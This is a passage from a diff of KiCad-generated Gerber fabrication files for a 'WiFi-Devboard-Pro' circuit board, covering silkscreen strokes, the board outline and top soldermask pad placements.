X164894523Y-91678666D01*
|
||||
X164818333Y-91640571D01*
|
||||
X164704047Y-91640571D01*
|
||||
X164627857Y-91678666D01*
|
||||
X164589761Y-91716761D01*
|
||||
X164551666Y-91792952D01*
|
||||
X164551666Y-92021523D01*
|
||||
X164589761Y-92097714D01*
|
||||
X164627857Y-92135809D01*
|
||||
X164704047Y-92173904D01*
|
||||
X164818333Y-92173904D01*
|
||||
X182837380Y-93461904D02*
|
||||
X183104047Y-93080952D01*
|
||||
X183294523Y-93461904D02*
|
||||
X183294523Y-92661904D01*
|
||||
X182989761Y-92661904D01*
|
||||
X182913571Y-92700000D01*
|
||||
X182875476Y-92738095D01*
|
||||
X182837380Y-92814285D01*
|
||||
X182837380Y-92928571D01*
|
||||
X182875476Y-93004761D01*
|
||||
X182913571Y-93042857D01*
|
||||
X182989761Y-93080952D01*
|
||||
X183294523Y-93080952D01*
|
||||
X182189761Y-93423809D02*
|
||||
X182265952Y-93461904D01*
|
||||
X182418333Y-93461904D01*
|
||||
X182494523Y-93423809D01*
|
||||
X182532619Y-93347619D01*
|
||||
X182532619Y-93042857D01*
|
||||
X182494523Y-92966666D01*
|
||||
X182418333Y-92928571D01*
|
||||
X182265952Y-92928571D01*
|
||||
X182189761Y-92966666D01*
|
||||
X182151666Y-93042857D01*
|
||||
X182151666Y-93119047D01*
|
||||
X182532619Y-93195238D01*
|
||||
X181885000Y-92928571D02*
|
||||
X181694523Y-93461904D01*
|
||||
X181504047Y-92928571D01*
|
||||
X180704047Y-92661904D02*
|
||||
X180437380Y-93461904D01*
|
||||
X180170714Y-92661904D01*
|
||||
X179751666Y-92661904D02*
|
||||
X179675476Y-92661904D01*
|
||||
X179599285Y-92700000D01*
|
||||
X179561190Y-92738095D01*
|
||||
X179523095Y-92814285D01*
|
||||
X179485000Y-92966666D01*
|
||||
X179485000Y-93157142D01*
|
||||
X179523095Y-93309523D01*
|
||||
X179561190Y-93385714D01*
|
||||
X179599285Y-93423809D01*
|
||||
X179675476Y-93461904D01*
|
||||
X179751666Y-93461904D01*
|
||||
X179827857Y-93423809D01*
|
||||
X179865952Y-93385714D01*
|
||||
X179904047Y-93309523D01*
|
||||
X179942142Y-93157142D01*
|
||||
X179942142Y-92966666D01*
|
||||
X179904047Y-92814285D01*
|
||||
X179865952Y-92738095D01*
|
||||
X179827857Y-92700000D01*
|
||||
X179751666Y-92661904D01*
|
||||
X179142142Y-93385714D02*
|
||||
X179104047Y-93423809D01*
|
||||
X179142142Y-93461904D01*
|
||||
X179180238Y-93423809D01*
|
||||
X179142142Y-93385714D01*
|
||||
X179142142Y-93461904D01*
|
||||
X178342142Y-93461904D02*
|
||||
X178799285Y-93461904D01*
|
||||
X178570714Y-93461904D02*
|
||||
X178570714Y-92661904D01*
|
||||
X178646904Y-92776190D01*
|
||||
X178723095Y-92852380D01*
|
||||
X178799285Y-92890476D01*
|
||||
X177999285Y-93385714D02*
|
||||
X177961190Y-93423809D01*
|
||||
X177999285Y-93461904D01*
|
||||
X178037380Y-93423809D01*
|
||||
X177999285Y-93385714D01*
|
||||
X177999285Y-93461904D01*
|
||||
X177465952Y-92661904D02*
|
||||
X177389761Y-92661904D01*
|
||||
X177313571Y-92700000D01*
|
||||
X177275476Y-92738095D01*
|
||||
X177237380Y-92814285D01*
|
||||
X177199285Y-92966666D01*
|
||||
X177199285Y-93157142D01*
|
||||
X177237380Y-93309523D01*
|
||||
X177275476Y-93385714D01*
|
||||
X177313571Y-93423809D01*
|
||||
X177389761Y-93461904D01*
|
||||
X177465952Y-93461904D01*
|
||||
X177542142Y-93423809D01*
|
||||
X177580238Y-93385714D01*
|
||||
X177618333Y-93309523D01*
|
||||
X177656428Y-93157142D01*
|
||||
X177656428Y-92966666D01*
|
||||
X177618333Y-92814285D01*
|
||||
X177580238Y-92738095D01*
|
||||
X177542142Y-92700000D01*
|
||||
X177465952Y-92661904D01*
|
||||
X183065952Y-93949904D02*
|
||||
X183065952Y-94521333D01*
|
||||
X183104047Y-94635619D01*
|
||||
X183180238Y-94711809D01*
|
||||
X183294523Y-94749904D01*
|
||||
X183370714Y-94749904D01*
|
||||
X182342142Y-94216571D02*
|
||||
X182342142Y-94749904D01*
|
||||
X182685000Y-94216571D02*
|
||||
X182685000Y-94635619D01*
|
||||
X182646904Y-94711809D01*
|
||||
X182570714Y-94749904D01*
|
||||
X182456428Y-94749904D01*
|
||||
X182380238Y-94711809D01*
|
||||
X182342142Y-94673714D01*
|
||||
X181999285Y-94711809D02*
|
||||
X181923095Y-94749904D01*
|
||||
X181770714Y-94749904D01*
|
||||
X181694523Y-94711809D01*
|
||||
X181656428Y-94635619D01*
|
||||
X181656428Y-94597523D01*
|
||||
X181694523Y-94521333D01*
|
||||
X181770714Y-94483238D01*
|
||||
X181885000Y-94483238D01*
|
||||
X181961190Y-94445142D01*
|
||||
X181999285Y-94368952D01*
|
||||
X181999285Y-94330857D01*
|
||||
X181961190Y-94254666D01*
|
||||
X181885000Y-94216571D01*
|
||||
X181770714Y-94216571D01*
|
||||
X181694523Y-94254666D01*
|
||||
X181427857Y-94216571D02*
|
||||
X181123095Y-94216571D01*
|
||||
X181313571Y-93949904D02*
|
||||
X181313571Y-94635619D01*
|
||||
X181275476Y-94711809D01*
|
||||
X181199285Y-94749904D01*
|
||||
X181123095Y-94749904D01*
|
||||
X180399285Y-94673714D02*
|
||||
X180437380Y-94711809D01*
|
||||
X180551666Y-94749904D01*
|
||||
X180627857Y-94749904D01*
|
||||
X180742142Y-94711809D01*
|
||||
X180818333Y-94635619D01*
|
||||
X180856428Y-94559428D01*
|
||||
X180894523Y-94407047D01*
|
||||
X180894523Y-94292761D01*
|
||||
X180856428Y-94140380D01*
|
||||
X180818333Y-94064190D01*
|
||||
X180742142Y-93988000D01*
|
||||
X180627857Y-93949904D01*
|
||||
X180551666Y-93949904D01*
|
||||
X180437380Y-93988000D01*
|
||||
X180399285Y-94026095D01*
|
||||
X179713571Y-94749904D02*
|
||||
X179713571Y-94330857D01*
|
||||
X179751666Y-94254666D01*
|
||||
X179827857Y-94216571D01*
|
||||
X179980238Y-94216571D01*
|
||||
X180056428Y-94254666D01*
|
||||
X179713571Y-94711809D02*
|
||||
X179789761Y-94749904D01*
|
||||
X179980238Y-94749904D01*
|
||||
X180056428Y-94711809D01*
|
||||
X180094523Y-94635619D01*
|
||||
X180094523Y-94559428D01*
|
||||
X180056428Y-94483238D01*
|
||||
X179980238Y-94445142D01*
|
||||
X179789761Y-94445142D01*
|
||||
X179713571Y-94407047D01*
|
||||
X179218333Y-94749904D02*
|
||||
X179294523Y-94711809D01*
|
||||
X179332619Y-94635619D01*
|
||||
X179332619Y-93949904D01*
|
||||
X178799285Y-94749904D02*
|
||||
X178875476Y-94711809D01*
|
||||
X178913571Y-94635619D01*
|
||||
X178913571Y-93949904D01*
|
||||
X178494523Y-94749904D02*
|
||||
X178494523Y-93949904D01*
|
||||
X178227857Y-94521333D01*
|
||||
X177961190Y-93949904D01*
|
||||
X177961190Y-94749904D01*
|
||||
X177275476Y-94711809D02*
|
||||
X177351666Y-94749904D01*
|
||||
X177504047Y-94749904D01*
|
||||
X177580238Y-94711809D01*
|
||||
X177618333Y-94635619D01*
|
||||
X177618333Y-94330857D01*
|
||||
X177580238Y-94254666D01*
|
||||
X177504047Y-94216571D01*
|
||||
X177351666Y-94216571D01*
|
||||
X177275476Y-94254666D01*
|
||||
X177237380Y-94330857D01*
|
||||
X177237380Y-94407047D01*
|
||||
X177618333Y-94483238D01*
|
||||
X176894523Y-94749904D02*
|
||||
X176894523Y-93949904D01*
|
||||
X176437380Y-94749904D02*
|
||||
X176780238Y-94292761D01*
|
||||
X176437380Y-93949904D02*
|
||||
X176894523Y-94407047D01*
|
||||
X175980238Y-94749904D02*
|
||||
X176056428Y-94711809D01*
|
||||
X176094523Y-94673714D01*
|
||||
X176132619Y-94597523D01*
|
||||
X176132619Y-94368952D01*
|
||||
X176094523Y-94292761D01*
|
||||
X176056428Y-94254666D01*
|
||||
X175980238Y-94216571D01*
|
||||
X175865952Y-94216571D01*
|
||||
X175789761Y-94254666D01*
|
||||
X175751666Y-94292761D01*
|
||||
X175713571Y-94368952D01*
|
||||
X175713571Y-94597523D01*
|
||||
X175751666Y-94673714D01*
|
||||
X175789761Y-94711809D01*
|
||||
X175865952Y-94749904D01*
|
||||
X175980238Y-94749904D01*
|
||||
X175370714Y-94749904D02*
|
||||
X175370714Y-93949904D01*
|
||||
X175294523Y-94445142D02*
|
||||
X175065952Y-94749904D01*
|
||||
X175065952Y-94216571D02*
|
||||
X175370714Y-94521333D01*
|
||||
X174608809Y-94749904D02*
|
||||
X174685000Y-94711809D01*
|
||||
X174723095Y-94673714D01*
|
||||
X174761190Y-94597523D01*
|
||||
X174761190Y-94368952D01*
|
||||
X174723095Y-94292761D01*
|
||||
X174685000Y-94254666D01*
|
||||
X174608809Y-94216571D01*
|
||||
X174494523Y-94216571D01*
|
||||
X174418333Y-94254666D01*
|
||||
X174380238Y-94292761D01*
|
||||
X174342142Y-94368952D01*
|
||||
X174342142Y-94597523D01*
|
||||
X174380238Y-94673714D01*
|
||||
X174418333Y-94711809D01*
|
||||
X174494523Y-94749904D01*
|
||||
X174608809Y-94749904D01*
|
||||
X172742142Y-94749904D02*
|
||||
X172780238Y-94749904D01*
|
||||
X172856428Y-94711809D01*
|
||||
X172970714Y-94597523D01*
|
||||
X173161190Y-94368952D01*
|
||||
X173237380Y-94254666D01*
|
||||
X173275476Y-94140380D01*
|
||||
X173275476Y-94064190D01*
|
||||
X173237380Y-93988000D01*
|
||||
X173161190Y-93949904D01*
|
||||
X173123095Y-93949904D01*
|
||||
X173046904Y-93988000D01*
|
||||
X173008809Y-94064190D01*
|
||||
X173008809Y-94102285D01*
|
||||
X173046904Y-94178476D01*
|
||||
X173085000Y-94216571D01*
|
||||
X173313571Y-94368952D01*
|
||||
X173351666Y-94407047D01*
|
||||
X173389761Y-94483238D01*
|
||||
X173389761Y-94597523D01*
|
||||
X173351666Y-94673714D01*
|
||||
X173313571Y-94711809D01*
|
||||
X173237380Y-94749904D01*
|
||||
X173123095Y-94749904D01*
|
||||
X173046904Y-94711809D01*
|
||||
X173008809Y-94673714D01*
|
||||
X172894523Y-94521333D01*
|
||||
X172856428Y-94407047D01*
|
||||
X172856428Y-94330857D01*
|
||||
X171904047Y-94216571D02*
|
||||
X171599285Y-94216571D01*
|
||||
X171789761Y-93949904D02*
|
||||
X171789761Y-94635619D01*
|
||||
X171751666Y-94711809D01*
|
||||
X171675476Y-94749904D01*
|
||||
X171599285Y-94749904D01*
|
||||
X171332619Y-94749904D02*
|
||||
X171332619Y-94216571D01*
|
||||
X171332619Y-94368952D02*
|
||||
X171294523Y-94292761D01*
|
||||
X171256428Y-94254666D01*
|
||||
X171180238Y-94216571D01*
|
||||
X171104047Y-94216571D01*
|
||||
X170837380Y-94749904D02*
|
||||
X170837380Y-94216571D01*
|
||||
X170837380Y-93949904D02*
|
||||
X170875476Y-93988000D01*
|
||||
X170837380Y-94026095D01*
|
||||
X170799285Y-93988000D01*
|
||||
X170837380Y-93949904D01*
|
||||
X170837380Y-94026095D01*
|
||||
X170494523Y-94711809D02*
|
||||
X170418333Y-94749904D01*
|
||||
X170265952Y-94749904D01*
|
||||
X170189761Y-94711809D01*
|
||||
X170151666Y-94635619D01*
|
||||
X170151666Y-94597523D01*
|
||||
X170189761Y-94521333D01*
|
||||
X170265952Y-94483238D01*
|
||||
X170380238Y-94483238D01*
|
||||
X170456428Y-94445142D01*
|
||||
X170494523Y-94368952D01*
|
||||
X170494523Y-94330857D01*
|
||||
X170456428Y-94254666D01*
|
||||
X170380238Y-94216571D01*
|
||||
X170265952Y-94216571D01*
|
||||
X170189761Y-94254666D01*
|
||||
X169808809Y-94216571D02*
|
||||
X169808809Y-95016571D01*
|
||||
X169808809Y-94254666D02*
|
||||
X169732619Y-94216571D01*
|
||||
X169580238Y-94216571D01*
|
||||
X169504047Y-94254666D01*
|
||||
X169465952Y-94292761D01*
|
||||
X169427857Y-94368952D01*
|
||||
X169427857Y-94597523D01*
|
||||
X169465952Y-94673714D01*
|
||||
X169504047Y-94711809D01*
|
||||
X169580238Y-94749904D01*
|
||||
X169732619Y-94749904D01*
|
||||
X169808809Y-94711809D01*
|
||||
X169161190Y-93949904D02*
|
||||
X168665952Y-93949904D01*
|
||||
X168932619Y-94254666D01*
|
||||
X168818333Y-94254666D01*
|
||||
X168742142Y-94292761D01*
|
||||
X168704047Y-94330857D01*
|
||||
X168665952Y-94407047D01*
|
||||
X168665952Y-94597523D01*
|
||||
X168704047Y-94673714D01*
|
||||
X168742142Y-94711809D01*
|
||||
X168818333Y-94749904D01*
|
||||
X169046904Y-94749904D01*
|
||||
X169123095Y-94711809D01*
|
||||
X169161190Y-94673714D01*
|
||||
X167980238Y-94749904D02*
|
||||
X167980238Y-94330857D01*
|
||||
X168018333Y-94254666D01*
|
||||
X168094523Y-94216571D01*
|
||||
X168246904Y-94216571D01*
|
||||
X168323095Y-94254666D01*
|
||||
X167980238Y-94711809D02*
|
||||
X168056428Y-94749904D01*
|
||||
X168246904Y-94749904D01*
|
||||
X168323095Y-94711809D01*
|
||||
X168361190Y-94635619D01*
|
||||
X168361190Y-94559428D01*
|
||||
X168323095Y-94483238D01*
|
||||
X168246904Y-94445142D01*
|
||||
X168056428Y-94445142D01*
|
||||
X167980238Y-94407047D01*
|
||||
X167599285Y-94749904D02*
|
||||
X167599285Y-94216571D01*
|
||||
X167599285Y-94368952D02*
|
||||
X167561190Y-94292761D01*
|
||||
X167523095Y-94254666D01*
|
||||
X167446904Y-94216571D01*
|
||||
X167370714Y-94216571D01*
|
||||
D11*
|
||||
%TO.C,J3*%
|
||||
X177900000Y-100850000D02*
|
||||
X177900000Y-103350000D01*
|
||||
X152900000Y-100850000D02*
|
||||
X152900000Y-105860000D01*
|
||||
%TO.C,J2*%
|
||||
X137300000Y-100850000D02*
|
||||
X137300000Y-103350000D01*
|
||||
X117300000Y-100850000D02*
|
||||
X117300000Y-105860000D01*
|
||||
%TD*%
|
||||
M02*
|
||||
@@ -0,0 +1,65 @@
|
||||
%TF.GenerationSoftware,KiCad,Pcbnew,(6.0.8)*%
|
||||
%TF.CreationDate,2023-01-02T13:08:22-05:00*%
|
||||
%TF.ProjectId,WiFi-Devboard-Pro,57694669-2d44-4657-9662-6f6172642d50,rev?*%
|
||||
%TF.SameCoordinates,Original*%
|
||||
%TF.FileFunction,Profile,NP*%
|
||||
%FSLAX46Y46*%
|
||||
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
|
||||
G04 Created by KiCad (PCBNEW (6.0.8)) date 2023-01-02 13:08:22*
|
||||
%MOMM*%
|
||||
%LPD*%
|
||||
G01*
|
||||
G04 APERTURE LIST*
|
||||
%TA.AperFunction,Profile*%
|
||||
%ADD10C,0.100000*%
|
||||
%TD*%
|
||||
G04 APERTURE END LIST*
|
||||
D10*
|
||||
X111130000Y-108940000D02*
|
||||
G75*
|
||||
G03*
|
||||
X112130000Y-109940000I1000000J0D01*
|
||||
G01*
|
||||
X184090000Y-108940000D02*
|
||||
X184090000Y-102390000D01*
|
||||
X184090000Y-97390000D02*
|
||||
X184090000Y-90840000D01*
|
||||
X128365000Y-89840000D02*
|
||||
X112130000Y-89840000D01*
|
||||
X183090000Y-109940000D02*
|
||||
G75*
|
||||
G03*
|
||||
X184090000Y-108940000I0J1000000D01*
|
||||
G01*
|
||||
X183090000Y-89840000D02*
|
||||
X155765000Y-89840000D01*
|
||||
X128365000Y-109940000D02*
|
||||
X155765000Y-109940000D01*
|
||||
X112130000Y-89840000D02*
|
||||
G75*
|
||||
G03*
|
||||
X111130000Y-90840000I0J-1000000D01*
|
||||
G01*
|
||||
X111130000Y-90840000D02*
|
||||
X111130000Y-108940000D01*
|
||||
X187090000Y-102390000D02*
|
||||
G75*
|
||||
G03*
|
||||
X187090000Y-97390000I0J2500000D01*
|
||||
G01*
|
||||
X184090000Y-90840000D02*
|
||||
G75*
|
||||
G03*
|
||||
X183090000Y-89840000I-1000000J0D01*
|
||||
G01*
|
||||
X184090000Y-102390000D02*
|
||||
X187090000Y-102390000D01*
|
||||
X128385000Y-89840000D02*
|
||||
X155765000Y-89840000D01*
|
||||
X155765000Y-109940000D02*
|
||||
X183090000Y-109940000D01*
|
||||
X187090000Y-97390000D02*
|
||||
X184090000Y-97390000D01*
|
||||
X112130000Y-109940000D02*
|
||||
X128365000Y-109940000D01*
|
||||
M02*
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,381 @@
|
||||
%TF.GenerationSoftware,KiCad,Pcbnew,(6.0.8)*%
|
||||
%TF.CreationDate,2023-01-02T13:08:22-05:00*%
|
||||
%TF.ProjectId,WiFi-Devboard-Pro,57694669-2d44-4657-9662-6f6172642d50,rev?*%
|
||||
%TF.SameCoordinates,Original*%
|
||||
%TF.FileFunction,Soldermask,Top*%
|
||||
%TF.FilePolarity,Negative*%
|
||||
%FSLAX46Y46*%
|
||||
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
|
||||
G04 Created by KiCad (PCBNEW (6.0.8)) date 2023-01-02 13:08:22*
|
||||
%MOMM*%
|
||||
%LPD*%
|
||||
G01*
|
||||
G04 APERTURE LIST*
|
||||
%ADD10R,0.600000X0.750000*%
|
||||
%ADD11R,0.750000X0.600000*%
|
||||
%ADD12R,0.600000X0.620000*%
|
||||
%ADD13R,0.650000X1.200000*%
|
||||
%ADD14C,1.700000*%
|
||||
%ADD15O,1.700000X1.700000*%
|
||||
%ADD16R,0.620000X0.600000*%
|
||||
%ADD17R,0.690000X0.720000*%
|
||||
%ADD18R,1.100000X0.700000*%
|
||||
%ADD19R,0.930000X0.900000*%
|
||||
%ADD20R,0.780000X1.050000*%
|
||||
%ADD21R,3.330000X0.700000*%
|
||||
%ADD22R,2.800000X0.860000*%
|
||||
%ADD23R,1.830000X1.140000*%
|
||||
%ADD24R,0.700000X0.700000*%
|
||||
%ADD25R,0.720000X0.690000*%
|
||||
%ADD26R,0.900000X1.500000*%
|
||||
%ADD27R,1.500000X0.900000*%
|
||||
%ADD28R,0.900000X0.900000*%
|
||||
%ADD29R,0.500000X0.900000*%
|
||||
%ADD30R,0.650000X2.770000*%
|
||||
%ADD31R,0.950000X0.800000*%
|
||||
%ADD32R,1.050000X0.650000*%
|
||||
%ADD33R,1.850000X0.900000*%
|
||||
%ADD34R,1.850000X3.200000*%
|
||||
%ADD35C,2.200000*%
|
||||
%ADD36R,0.400000X1.000000*%
|
||||
%ADD37R,0.620000X0.640000*%
|
||||
G04 APERTURE END LIST*
|
||||
D10*
|
||||
%TO.C,R10*%
|
||||
X134960000Y-97140000D03*
|
||||
X134960000Y-96040000D03*
|
||||
%TD*%
|
||||
D11*
|
||||
%TO.C,R15*%
|
||||
X126500000Y-96950000D03*
|
||||
X127600000Y-96950000D03*
|
||||
%TD*%
|
||||
%TO.C,R6*%
|
||||
X150660000Y-104890000D03*
|
||||
X149560000Y-104890000D03*
|
||||
%TD*%
|
||||
D12*
|
||||
%TO.C,C7*%
|
||||
X117000000Y-92270000D03*
|
||||
X116080000Y-92270000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R5*%
|
||||
X115300000Y-91350000D03*
|
||||
X115300000Y-92450000D03*
|
||||
%TD*%
|
||||
D13*
|
||||
%TO.C,IC2*%
|
||||
X128460000Y-92600000D03*
|
||||
X126540000Y-92600000D03*
|
||||
X127500000Y-94700000D03*
|
||||
%TD*%
|
||||
%TO.C,IC4*%
|
||||
X138210000Y-102375000D03*
|
||||
X136290000Y-102375000D03*
|
||||
X137250000Y-104475000D03*
|
||||
%TD*%
|
||||
D14*
|
||||
%TO.C,J4*%
|
||||
X129370000Y-109940000D03*
|
||||
D15*
|
||||
X131910000Y-109940000D03*
|
||||
X134450000Y-109940000D03*
|
||||
X136990000Y-109940000D03*
|
||||
X139530000Y-109940000D03*
|
||||
X142070000Y-109940000D03*
|
||||
X144610000Y-109940000D03*
|
||||
X147150000Y-109940000D03*
|
||||
X149690000Y-109940000D03*
|
||||
X152230000Y-109940000D03*
|
||||
X154770000Y-109940000D03*
|
||||
%TD*%
|
||||
D16*
|
||||
%TO.C,C11*%
|
||||
X136225000Y-97060000D03*
|
||||
X136225000Y-96140000D03*
|
||||
%TD*%
|
||||
D17*
|
||||
%TO.C,C2*%
|
||||
X181985000Y-90350000D03*
|
||||
X181065000Y-90350000D03*
|
||||
%TD*%
|
||||
D18*
|
||||
%TO.C,J6*%
|
||||
X112460000Y-102230000D03*
|
||||
X112460000Y-101130000D03*
|
||||
X112460000Y-100030000D03*
|
||||
X112460000Y-98930000D03*
|
||||
X112460000Y-97830000D03*
|
||||
X112460000Y-96730000D03*
|
||||
X112460000Y-95630000D03*
|
||||
X112460000Y-94530000D03*
|
||||
D19*
|
||||
X124925000Y-104020000D03*
|
||||
D20*
|
||||
X125000000Y-99755000D03*
|
||||
D21*
|
||||
X123725000Y-93370000D03*
|
||||
D22*
|
||||
X112960000Y-93450000D03*
|
||||
D23*
|
||||
X112475000Y-106110000D03*
|
||||
D21*
|
||||
X123725000Y-106330000D03*
|
||||
%TD*%
|
||||
D24*
|
||||
%TO.C,LED1*%
|
||||
X155950000Y-98885000D03*
|
||||
X154850000Y-98885000D03*
|
||||
X154850000Y-100715000D03*
|
||||
X155950000Y-100715000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R4*%
|
||||
X117820000Y-91350000D03*
|
||||
X117820000Y-92450000D03*
|
||||
%TD*%
|
||||
D25*
|
||||
%TO.C,C6*%
|
||||
X133100000Y-99040000D03*
|
||||
X133100000Y-99960000D03*
|
||||
%TD*%
|
||||
D26*
|
||||
%TO.C,IC1*%
|
||||
X176560000Y-91100000D03*
|
||||
X175290000Y-91100000D03*
|
||||
X174020000Y-91100000D03*
|
||||
X172750000Y-91100000D03*
|
||||
X171480000Y-91100000D03*
|
||||
X170210000Y-91100000D03*
|
||||
X168940000Y-91100000D03*
|
||||
X167670000Y-91100000D03*
|
||||
X166400000Y-91100000D03*
|
||||
X165130000Y-91100000D03*
|
||||
X163860000Y-91100000D03*
|
||||
X162590000Y-91100000D03*
|
||||
X161320000Y-91100000D03*
|
||||
X160050000Y-91100000D03*
|
||||
D27*
|
||||
X158800000Y-94135000D03*
|
||||
X158800000Y-95405000D03*
|
||||
X158800000Y-96675000D03*
|
||||
X158800000Y-97945000D03*
|
||||
X158800000Y-99215000D03*
|
||||
X158800000Y-100485000D03*
|
||||
X158800000Y-101755000D03*
|
||||
X158800000Y-103025000D03*
|
||||
X158800000Y-104295000D03*
|
||||
X158800000Y-105565000D03*
|
||||
D26*
|
||||
X160050000Y-108600000D03*
|
||||
X161320000Y-108600000D03*
|
||||
X162590000Y-108600000D03*
|
||||
X163860000Y-108600000D03*
|
||||
X165130000Y-108600000D03*
|
||||
X166400000Y-108600000D03*
|
||||
X167670000Y-108600000D03*
|
||||
X168940000Y-108600000D03*
|
||||
X170210000Y-108600000D03*
|
||||
X171480000Y-108600000D03*
|
||||
X172750000Y-108600000D03*
|
||||
X174020000Y-108600000D03*
|
||||
X175290000Y-108600000D03*
|
||||
X176560000Y-108600000D03*
|
||||
D28*
|
||||
X170240000Y-96950000D03*
|
||||
X168840000Y-96950000D03*
|
||||
X167440000Y-96950000D03*
|
||||
X167440000Y-98350000D03*
|
||||
X167440000Y-99750000D03*
|
||||
X168840000Y-99750000D03*
|
||||
X170240000Y-99750000D03*
|
||||
X170240000Y-98350000D03*
|
||||
X168840000Y-98350000D03*
|
||||
%TD*%
|
||||
D29*
|
||||
%TO.C,LED4*%
|
||||
X127200000Y-99100000D03*
|
||||
X128500000Y-99100000D03*
|
||||
%TD*%
|
||||
D11*
|
||||
%TO.C,R2*%
|
||||
X155950000Y-97430000D03*
|
||||
X154850000Y-97430000D03*
|
||||
%TD*%
|
||||
D30*
|
||||
%TO.C,J1*%
|
||||
X143860000Y-101665000D03*
|
||||
X143860000Y-98135000D03*
|
||||
X145130000Y-101665000D03*
|
||||
X145130000Y-98135000D03*
|
||||
X146400000Y-101665000D03*
|
||||
X146400000Y-98135000D03*
|
||||
X147670000Y-101665000D03*
|
||||
X147670000Y-98135000D03*
|
||||
X148940000Y-101665000D03*
|
||||
X148940000Y-98135000D03*
|
||||
%TD*%
|
||||
D25*
|
||||
%TO.C,C5*%
|
||||
X126100000Y-101790000D03*
|
||||
X126100000Y-102710000D03*
|
||||
%TD*%
|
||||
D13*
|
||||
%TO.C,IC5*%
|
||||
X141060000Y-105000000D03*
|
||||
X139140000Y-105000000D03*
|
||||
X140100000Y-107100000D03*
|
||||
%TD*%
|
||||
D31*
|
||||
%TO.C,LED2*%
|
||||
X142800000Y-93050000D03*
|
||||
X142800000Y-94650000D03*
|
||||
%TD*%
|
||||
D32*
|
||||
%TO.C,S2*%
|
||||
X152075000Y-104875000D03*
|
||||
X156225000Y-104875000D03*
|
||||
X152075000Y-107025000D03*
|
||||
X156225000Y-107025000D03*
|
||||
%TD*%
|
||||
D12*
|
||||
%TO.C,C4*%
|
||||
X154930000Y-102150000D03*
|
||||
X155850000Y-102150000D03*
|
||||
%TD*%
|
||||
D33*
|
||||
%TO.C,IC3*%
|
||||
X134200000Y-106700000D03*
|
||||
X134200000Y-104400000D03*
|
||||
X134200000Y-102100000D03*
|
||||
D34*
|
||||
X128000000Y-104400000D03*
|
||||
%TD*%
|
||||
D12*
|
||||
%TO.C,C3*%
|
||||
X179065000Y-90300000D03*
|
||||
X179985000Y-90300000D03*
|
||||
%TD*%
|
||||
D35*
|
||||
%TO.C,*%
|
||||
X187100000Y-99900000D03*
|
||||
%TD*%
|
||||
D16*
|
||||
%TO.C,C8*%
|
||||
X129290000Y-97080000D03*
|
||||
X129290000Y-96160000D03*
|
||||
%TD*%
|
||||
D36*
|
||||
%TO.C,U3*%
|
||||
X138250000Y-92600000D03*
|
||||
X137600000Y-92600000D03*
|
||||
X136950000Y-92600000D03*
|
||||
X136950000Y-94600000D03*
|
||||
X137600000Y-94600000D03*
|
||||
X138250000Y-94600000D03*
|
||||
%TD*%
|
||||
D32*
|
||||
%TO.C,S1*%
|
||||
X152075000Y-92725000D03*
|
||||
X156225000Y-92725000D03*
|
||||
X152075000Y-94875000D03*
|
||||
X156225000Y-94875000D03*
|
||||
%TD*%
|
||||
D11*
|
||||
%TO.C,R1*%
|
||||
X149700000Y-93800000D03*
|
||||
X150800000Y-93800000D03*
|
||||
%TD*%
|
||||
D16*
|
||||
%TO.C,C9*%
|
||||
X134420000Y-99050000D03*
|
||||
X134420000Y-99970000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R8*%
|
||||
X131610000Y-97150000D03*
|
||||
X131610000Y-96050000D03*
|
||||
%TD*%
|
||||
D14*
|
||||
%TO.C,J5*%
|
||||
X129370000Y-89840000D03*
|
||||
D15*
|
||||
X131910000Y-89840000D03*
|
||||
X134450000Y-89840000D03*
|
||||
X136990000Y-89840000D03*
|
||||
X139530000Y-89840000D03*
|
||||
X142070000Y-89840000D03*
|
||||
X144610000Y-89840000D03*
|
||||
X147150000Y-89840000D03*
|
||||
X149690000Y-89840000D03*
|
||||
X152230000Y-89840000D03*
|
||||
X154770000Y-89840000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R12*%
|
||||
X138400000Y-97150000D03*
|
||||
X138400000Y-96050000D03*
|
||||
%TD*%
|
||||
D37*
|
||||
%TO.C,C1*%
|
||||
X150690000Y-94690000D03*
|
||||
X149770000Y-94690000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R11*%
|
||||
X137200000Y-97150000D03*
|
||||
X137200000Y-96050000D03*
|
||||
%TD*%
|
||||
D16*
|
||||
%TO.C,C10*%
|
||||
X133000000Y-97085000D03*
|
||||
X133000000Y-96165000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R13*%
|
||||
X144350000Y-93300000D03*
|
||||
X144350000Y-94400000D03*
|
||||
%TD*%
|
||||
%TO.C,R14*%
|
||||
X147400000Y-93250000D03*
|
||||
X147400000Y-94350000D03*
|
||||
%TD*%
|
||||
D36*
|
||||
%TO.C,U2*%
|
||||
X134800000Y-92600000D03*
|
||||
X134150000Y-92600000D03*
|
||||
X133500000Y-92600000D03*
|
||||
X133500000Y-94600000D03*
|
||||
X134150000Y-94600000D03*
|
||||
X134800000Y-94600000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R9*%
|
||||
X133790000Y-97140000D03*
|
||||
X133790000Y-96040000D03*
|
||||
%TD*%
|
||||
D36*
|
||||
%TO.C,U1*%
|
||||
X131450000Y-92610000D03*
|
||||
X130800000Y-92610000D03*
|
||||
X130150000Y-92610000D03*
|
||||
X130150000Y-94610000D03*
|
||||
X130800000Y-94610000D03*
|
||||
X131450000Y-94610000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R3*%
|
||||
X119900000Y-91360000D03*
|
||||
X119900000Y-92460000D03*
|
||||
%TD*%
|
||||
%TO.C,R7*%
|
||||
X130410000Y-97160000D03*
|
||||
X130410000Y-96060000D03*
|
||||
%TD*%
|
||||
D31*
|
||||
%TO.C,LED3*%
|
||||
X145900000Y-93050000D03*
|
||||
X145900000Y-94650000D03*
|
||||
%TD*%
|
||||
M02*
|
||||
@@ -0,0 +1,343 @@
|
||||
%TF.GenerationSoftware,KiCad,Pcbnew,(6.0.8)*%
|
||||
%TF.CreationDate,2023-01-02T13:08:22-05:00*%
|
||||
%TF.ProjectId,WiFi-Devboard-Pro,57694669-2d44-4657-9662-6f6172642d50,rev?*%
|
||||
